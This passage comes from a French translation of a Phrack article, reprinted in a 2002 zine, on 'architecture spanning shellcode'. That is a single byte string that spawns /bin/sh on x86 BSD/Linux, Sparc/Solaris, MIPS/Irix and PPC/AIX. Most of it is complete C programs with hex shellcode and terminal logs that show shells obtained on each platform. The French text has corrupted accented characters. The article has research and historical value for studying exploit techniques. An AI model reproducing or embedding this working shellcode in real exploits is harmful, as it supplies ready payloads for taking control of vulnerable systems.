%o0, ce qui est tout ˆ fait ce que nous recherchions, un short jump sur une 
architecture (x86) et une autre instruction, qui n'est pas dangereuse sur une 
autre architecture (Sparc), avec cela en t�te, voici a quoi ressemble notre 
shell code:

  \x90\x90\xeb\x30
  [sparc shellcode]
  [x86 shellcode]

Mettons le ˆ l'essai.......

------------8< CODE >8------------

[openbsd]$ cat ass.c        ; ass as in Architecture Spanning Shellcode :)
char sc[] =
    /* magic string */
    "\x90\x90\xeb\x30"

    /* sparc solaris execve() */
    "\x2d\x0b\xd8\x9a"                   /* sethi $0xbd89a, %l6        */
    "\xac\x15\xa1\x6e"                   /* or %l6, 0x16e, %l6         */
    "\x2f\x0b\xdc\xda"                   /* sethi $0xbdcda, %l7        */
    "\x90\x0b\x80\x0e"                   /* and %sp, %sp, %o0          */
    "\x92\x03\xa0\x08"                   /* add %sp, 8, %o1            */
    "\x94\x1a\x80\x0a"                   /* xor %o2, %o2, %o2          */
    "\x9c\x03\xa0\x10"                   /* add %sp, 0x10, %sp         */
    "\xec\x3b\xbf\xf0"                   /* std %l6, [%sp - 0x10]      */
    "\xdc\x23\xbf\xf8"                   /* st %sp, [%sp - 0x08]       */
    "\xc0\x23\xbf\xfc"                   /* st %g0, [%sp - 0x04]       */
    "\x82\x10\x20\x3b"                   /* mov $0x3b, %g1             */
    "\x91\xd0\x20\x08"                   /* ta 8                       */

    /* BSD execve() */
        "\xeb\x17"                      /* jmp */
        "\x5e"                          /* pop  %esi */
        "\x31\xc0"                      /* xor  %eax, %eax */
        "\x50"                          /* push %eax */
        "\x88\x46\x07"                  /* mov  %al,0x7(%esi) */
        "\x89\x46\x0c"                  /* mov  %eax,0xc(%esi) */
        "\x89\x76\x08"                  /* mov  %esi,0x8(%esi) */
        "\x8d\x5e\x08"                  /* lea  0x8(%esi),%ebx */
        "\x53"                          /* push %ebx */
        "\x56"                          /* push %esi */
        "\x50"                          /* push %eax */
        "\xb0\x3b"                      /* mov  $0x3b, %al */
        "\xcd\x80"                      /* int  $0x80 */
        "\xe8\xe4\xff\xff\xff"          /* call */
        "\x2f\x62\x69\x6e\x2f\x73\x68"; /* /bin/sh */


int main(void)
{
        void (*f)(void) = (void (*)(void)) sc;

        f();

        return 0;
}

------------8< CODE >8------------

    [openbsd]$ gcc ass.c
    [openbsd]$ ./a.out
    $ uname -ms
    OpenBSD i386

    [solaris]$ gcc ass.c
    [solaris]$ ./a.out
    $ uname -ms
    SunOS sun4u

    ‚a fonctionne!


Ajouter plus d'architectures
----------------------------

  ThŽoriquement, le spanning shellcode n'est pas liŽ au syst�me d'exploitation
ni a une plate-forme matŽrielle spŽcifique. Donc il est possible d'Žcrire un 
shellcode qui fonctionne sur plus de deux architectures. Le format du shellcode
pour notre deuxi�me essai aura donc l'air de ceci.

XXX
YYY
arch1 shellcode
arch2 shellcode
arch3 shellcode

o� arch1 est MIPS, arch2 est Sparc et arch3 est x86.

  Mon premier essai fut d'essayer le code "magique" de ass.c, mais malheureuse-
ment 0x9090eb30 ne dŽcoda en rien de satisfaisant sous IRIX, j'Žtais donc
contraint ˆ chercher ailleurs. Mon essai suivant fut de remplacer 0x90 par des 
octets de type nop qui s'exŽcuteraient autant sur MIPS que su Sparc. Apr�s avoir
essayŽ une tonne de nop de x86 qui venaient du toolkit ADMmutate de K2. Je me 
retrouvais face ˆ une instruction AAA qui avait comme opcode 0x37. L'instruction
AAA fonctionna ˆ merveille puisque que la cha”ne de bits 0x3737eb30 fut dŽcodŽe
de fa�on convenable sur les trois plat-formes.

    x86:
        aaa
        aaa
        jmp +120

    sparc:
        sethi  %hi(0xdFADE000), %i3

    mips:
        ori $s7,$t9,0xeb78

  En ayant fini avec la cha”ne de bits XXX, il ne me restait plus que la cha”ne
de bits YYY pour les plate-formes MIPS et Sparc. La premi�re instruction que 
j'essayai fonctionna sur les deux plate-formes. L'instruction Žtait une annuled
short jump ba,a (0x30800012) de Sparc qui se dŽcoda en

    andi $zero,$a0,0x12

sur une plat-forme MIPS. Non seulement l'instruction jump fut dŽcodŽe en un 
"andi" sur MIPS, mais en plus elle n'avait pas besoin d'un "branch delay slot"
puisque que le bs jump Žtait annulŽ [4]. Notre shell code ˆ l'air de ceci:

            "\x37\x37\xeb\x78"      /* x86:         aaa; aaa; jmp 116+4     */
                                    /* MIPS:        ori $s7,$t9,0xeb78      */
                                    /* Sparc:       sethi %hi(0xdfade000),%i3*/

            "\x30\x80\x00\x12"      /* MIPS:        andi $zero,$a0,0x12     */
                                    /* Sparc:       ba,a +72                */
    
        [snip du vrai shellcode]


  Pendant que nous ajoutons plus d'architectures ˆ notre shellcode, observons 
un peu PPC/AIX. La premi�re Žtape ˆ faire est de dŽcoder les cha”nes de bits XXX
et YYY existantes sur PPC:

  (gdb) x 0x10000364
  0x10000364 <main+36>:   0x3737eb78

  (gdb) x/i 0x10000364
  0x10000364 <main+36>:   addic.  r25,r23,-5256

  (gdb) x/x 0x10000368
  0x10000368 <main+40>:   0x30800012

  (gdb) x/i 0x10000368
  0x10000368 <main+40>:   addic   r4,r0,18

Aujourd'hui est notre jour de chance, car les cha”nes de bits XXX et YYY de la 
combinaison MIPS/x86/Sparc se sont dŽcodŽes dans deux instructions add compl�te-
ment inoffensives. La seule chose qui nous reste ˆ faire est de trouver une 
instruction qui, exŽcutant un jump sur la MIPS, va exŽcuter un nop sur PPC/AIX.
Apr�s un peu de recherche nous trouvons que l'instruction MIPS "bgtz" est 
dŽcodŽe sur AIX en une instruction de multiplication.

    [MIPS]
    (gdb) x 0x10001008
    0x10001008 <sc+8>:      0x1ee00101

    (gdb) x/i 0x10001008
    0x10001008 <sc+8>:      bgtz $s7,0x10001410 <+1040>


    [AIX]
    (gdb) x 0x10000378
    0x10000378 <main+56>:   0x1ee00101

    (gdb) x/i 0x10000378
    0x10000378 <main+56>:   mulli   r23,r0,257

  L'instruction bgtz est un branchement sur plus grand que zŽro [7]. Remarquez 
que l'instruction de branchement utilise le registre $s7 que nous modifions par
une prŽcŽdente instruction nop. Le dŽplacement du branchement est mis a 0x0101 
(pour Žviter les octets nulls dans l'instruction) ce qui Žquivaut ˆ un saut 
relatif vers l'avant de 1028 bytes. Maintenant assemblons le tout:

------------8< CODE >8------------

[openbsd]$ cat ass.c

/*
 * Architecture/OS Spanning Shellcode
 *
 * runs on x86 (freebsd, netbsd, openbsd, linux), MIPS/Irix, Sparc/Solaris
 * and PPC/AIX (AIX platforms require -DAIX compiler flag)
 *
 * eugene@gravitino.net
 */

char sc[] =
    /* voodoo */
    "\x37\x37\xeb\x7b"    /* x86:        aaa; aaa; jmp 116+4            */
                          /* MIPS:       ori     $s7,$t9,0xeb7b         */
                          /* Sparc:      sethi   %hi(0xdFADEc00), %i3   */
                          /* PPC/AIX:    addic   r25,r23,-5253          */

    "\x30\x80\x01\x14"    /* MIPS:       andi    $zero,$a0,0x114        */
                          /* Sparc:      ba,a    +1104                  */
                          /* PPC/AIX:    addic   r4,r0,276              */

    "\x1e\xe0\x01\x01"    /* MIPS:       bgtz    $s7, +1032             */
                          /* PPC/AIX:    mulli    r23,r0,257            */

    "\x30\x80\x01\x14"    /* fill in the MIPS branch delay slot
                             with the above MIPS / AIX nop              */


    /* PPC/AIX shellcode by LAST STAGE OF DELIRIUM    *://lsd-pl.net/   */
    "\x7e\x94\xa2\x79"    /* xor.        r20,r20,r20                    */
    "\x40\x82\xff\xfd"    /* bnel        <syscallcode>                  */
    "\x7e\xa8\x02\xa6"    /* mflr        r21                            */
    "\x3a\xc0\x01\xff"    /* lil         r22,0x1ff                      */
    "\x3a\xf6\xfe\x2d"    /* cal         r23,-467(r22)                  */
    "\x7e\xb5\xba\x14"    /* cax         r21,r21,r23                    */
    "\x7e\xa9\x03\xa6"    /* mtctr       r21                            */
    "\x4e\x80\x04\x20"    /* bctr                                       */

    "\x04\x82\x53\x71"
    "\x87\xa0\x89\xfc"
    "\x69\x68\x67\x65"

    "\x4c\xc6\x33\x42"    /* crorc       cr6,cr6,cr6                    */
    "\x44\xff\xff\x02"    /* svca        0x0                            */
    "\x3a\xb5\xff\xf8"    /* cal         r21,-8(r21)                    */

    "\x7c\xa5\x2a\x79"    /* xor.        r5,r5,r5                       */
    "\x40\x82\xff\xfd"    /* bnel        <shellcode>                    */
    "\x7f\xe8\x02\xa6"    /* mflr        r31                            */
    "\x3b\xff\x01\x20"    /* cal         r31,0x120(r31)                 */
    "\x38\x7f\xff\x08"    /* cal         r3,-248(r31)                   */
    "\x38\x9f\xff\x10"    /* cal         r4,-240(r31)                   */
    "\x90\x7f\xff\x10"    /* st          r3,-240(r31)                   */
    "\x90\xbf\xff\x14"    /* st          r5,-236(r31)                   */
    "\x88\x55\xff\xf4"    /* lbz         r2,-12(r21)                    */
    "\x98\xbf\xff\x0f"    /* stb         r5,-241(r31)                   */
    "\x7e\xa9\x03\xa6"    /* mtctr       r21                            */
    "\x4e\x80\x04\x20"    /* bctr                                       */
    "/bin/sh"


    /* x86 BSD/Linux execve() by me */
        "\xeb\x29"        /* jmp                                        */
        "\x5e"            /* pop         %esi                           */
        "\x31\xc0"        /* xor         %eax, %eax                     */
        "\x50"            /* push        %eax                           */
        "\x88\x46\x07"    /* mov         %al,0x7(%esi)                  */
        "\x89\x46\x0c"    /* mov         %eax,0xc(%esi)                 */
        "\x89\x76\x08"    /* mov         %esi,0x8(%esi)                 */
        "\x8d\x5e\x08"    /* lea         0x8(%esi),%ebx                 */
        "\x53"            /* push        %ebx                           */
        "\x56"            /* push        %esi                           */
        "\x50"            /* push        %eax                           */

        /* setup registers for linux */
        "\x8d\x4e\x08"    /* lea         0x8(%esi),%ecx                 */
        "\x8d\x56\x08"    /* lea         0x8(%esi),%edx                 */
        "\x89\xf3"        /* mov         %esi, %ebx                     */

        /* distinguish between BSD & Linux */
        "\x8c\xe0"        /* movl        %fs, %eax                      */
        "\x21\xc0"        /* andl        %eax, %eax                     */
        "\x74\x04"        /* jz          +4                             */
        "\xb0\x3b"        /* mov         $0x3b, %al                     */
        "\xeb\x02"        /* jmp         +2                             */
        "\xb0\x0b"        /* mov         $0xb, %al                      */

        "\xcd\x80"        /* int        $0x80                           */

        "\xe8\xd2\xff\xff\xff"    /* call                               */
        "\x2f\x62\x69\x6e"        /* /bin                               */
        "\x2f\x73\x68"            /* /sh                                */


    /*
     * pad the MIPS/Irix & Sparc/Solaris shellcodes
     * jumps of > 0x0101 bytes are performed on both platforms
     * to avoid NULL bytes in the jump instructions
     */
    "2359595912811011811145128130124118116118121114127231291301241171"
    "2911813245571341291181211101231241181291101234512913012411712911"
    "8132455712712412112411245123118120128451291301241171291181324512"
    "9128118133114451141004559113130110111451141171294511512445134129"
    "1301101141112311411712945571171121291181321284511411712945113123"
    "1104512312412712911211412111445114117129451151244511312112712413"
    "2451141171294559595913212412345113121127124132451271301244512811"
    "8451281181179797117118128451181284512413012745132124127121113451"
    "2312413259595945129117114451321241271211134512411545129117114451"
    "1412111411212912712412345110123113451291171144512813211812911211"
    "7574512911711423111114110130129134451241154512911711445111110130"
    "1135945100114451141331181281294513211812911712413012945128120118"
    "1234511212412112412757451321181291171241301294512311012911812412"
    "31101211181291345745132118"


     /* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso          */
     "\xaf\xa0\xff\xfc"      /* sw           $zero, -4($sp)         */
     "\x24\x06\x73\x50"      /* li           $a2, 0x7350            */
     "\x04\xd0\xff\xff"      /* bltzal       $a2, dpatch            */
     "\x8f\xa6\xff\xfc"      /* lw           $a2, -4($sp)           */

     /* a2 = (char **) envp = NULL */
     "\x24\x0f\xff\xcb"      /* li           $t7, -53               */
     "\x01\xe0\x78\x27"      /* nor          $t7, $t7, $zero        */
     "\x03\xef\xf8\x21"      /* addu         $ra, $ra, $t7          */

     /* a0 = (char *) pathname */
     "\x23\xe4\xff\xf8"      /* addi         $a0, $ra, -8           */

     /* fix 0x42 dummy byte in pathname to shell */
     "\x8f\xed\xff\xfc"      /* lw           $t5, -4($ra)           */
     "\x25\xad\xff\xbe"      /* addiu        $t5, $t5, -66          */
     "\xaf\xed\xff\xfc"      /* sw           $t5, -4($ra)           */

     /* a1 = (char **) argv */
     "\xaf\xa4\xff\xf8"      /* sw           $a0, -8($sp)           */
     "\x27\xa5\xff\xf8"      /* addiu        $a1, $sp, -8           */

     "\x24\x02\x04\x23"      /* li           $v0, 1059 (SYS_execve) */
     "\x01\x01\x01\x0c"      /* syscall                             */
     "\x2f\x62\x69\x6e"      /* .ascii       "/bin"                 */
     "\x2f\x73\x68\x42"      /* .ascii       "/sh", .byte 0xdummy   */


     /* Sparc Solaris execve() by an unknown author */
     "\x2d\x0b\xd8\x9a"      /* sethi        $0xbd89a, %l6          */
     "\xac\x15\xa1\x6e"      /* or           %l6, 0x16e, %l6        */
     "\x2f\x0b\xdc\xda"      /* sethi        $0xbdcda, %l7          */
     "\x90\x0b\x80\x0e"      /* and          %sp, %sp, %o0          */
     "\x92\x03\xa0\x08"      /* add          %sp, 8, %o1            */
     "\x94\x1a\x80\x0a"      /* xor          %o2, %o2, %o2          */
     "\x9c\x03\xa0\x10"      /* add          %sp, 0x10, %sp         */
     "\xec\x3b\xbf\xf0"      /* std          %l6, [%sp - 0x10]      */
     "\xdc\x23\xbf\xf8"      /* st           %sp, [%sp - 0x08]      */
     "\xc0\x23\xbf\xfc"      /* st           %g0, [%sp - 0x04]      */
     "\x82\x10\x20\x3b"      /* mov          $0x3b, %g1             */
     "\x91\xd0\x20\x08"      /* ta           8                      */
;


int main(void)
{
#if defined(AIX)
    /* copyright LAST STAGE OF DELIRIUM feb 2001 poland */
        int jump[2]={(int)sc,*((int*)&main+1)};

        ((*(void (*)())jump)());
#else
        void (*f)(void) = (void (*)(void)) sc;

        f();
#endif

        return 0;
}

------------8< CODE >8------------

    [openbsd]$ gcc ass.c
    [openbsd]$ ./a.out
    $ uname -ms
    OpenBSD i386

    [freebsd]$ gcc ass.c
    [freebsd]$ ./a.out
    $ uname -ms
    FreeBSD i386

    [linux]$ gcc ass.c
    [linux]$ ./a.out
    $ uname -ms
    Linux i686

    [solaris]$ gcc ass.c
    [solaris]$ ./a.out
    $ uname -ms
    SunOS sun4u

    [irix]$ gcc ass.c
    [irix]$ ./a.out
    $ uname -ms
    IRIX IP22

    [aix]$ gcc ass.c
    [aix]$ ./a.out
    $ uname -ms
    AIX 000089101000


Conclusion
----------

  L'Architecture Spanning Shellcode est un type de code crŽŽ sur mesure pour 
s'exŽcuter diffŽremment tout dŽpendant de l'architecture o� il est exŽcutŽ. Le 
code rŽussi atteint cet objectif en utilisant une suite d'octets qui s'exŽcutent
diffŽremment selon l'architecture.

  L'OS Spanning Shellcode est une type de code spŽcialement crŽŽ pour s'exŽcuter
sur diffŽrents syst�mes d'exploitation fonctionnant sur la m�me plate-forme. Le
code rŽussi cet objectif en prŽparant les mŽcanismes de registres et de pile, de
mani�re ˆ satisfaire les deux syst�mes d'exploitations o� le code est exŽcutŽ.


Credits/Remeciments
-------------------

  Greg Hoglund      Pour avoir travaille avec moi durant le dŽfi.

  prole and harm    Pour avoir eu l'idŽe bien avant le dŽfi.
                    http://www.redgeek.net/~prole/ASSC.txt

  gravitino.net, GHI, skyper, spoonm


RŽfŽrences
----------  

   [1] Caezar's challenge
       http://www.caezarschallenge.org

   [2] Writing MIPS/IRIX shellcode
       scut (phrack 56)

   [3] Smashing The Stack For Fun And Profit
       Aleph One (phrack 49)

   [4] SPARC Architecture, Assembly Language Programming, and C. 2nd ed.
       Richard P. Paul

   [5] IA-32 Intel Architecture, Software Developer's Manual
       Intel, Corp
       http://developer.intel.com

   [6] Computer Organization and Design
       David A. Patterson and John L. Hennessy

   [7] MIPS RISC Architecture
       Gerry Kane and Joe Heinrich

   [8] UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes
       The Last Stage of Delirium Research Group http://lsd-pl.net

[ NDLR: Vous trouverez la version originale de cet article sur le site de Phrack
        ˆ l'adresse suivante: http://www.phrack.org/show.php?p=57&a=14 ]


--------------------------------------------------------------------------------
LJNB est un Journal avec un Nom Bidon                   http://journal.bidon.ca/
PubliŽ ˆ chaque 3e vendredi du mois                              ƒdition 2002.01
--------------------------------------------------------------------------------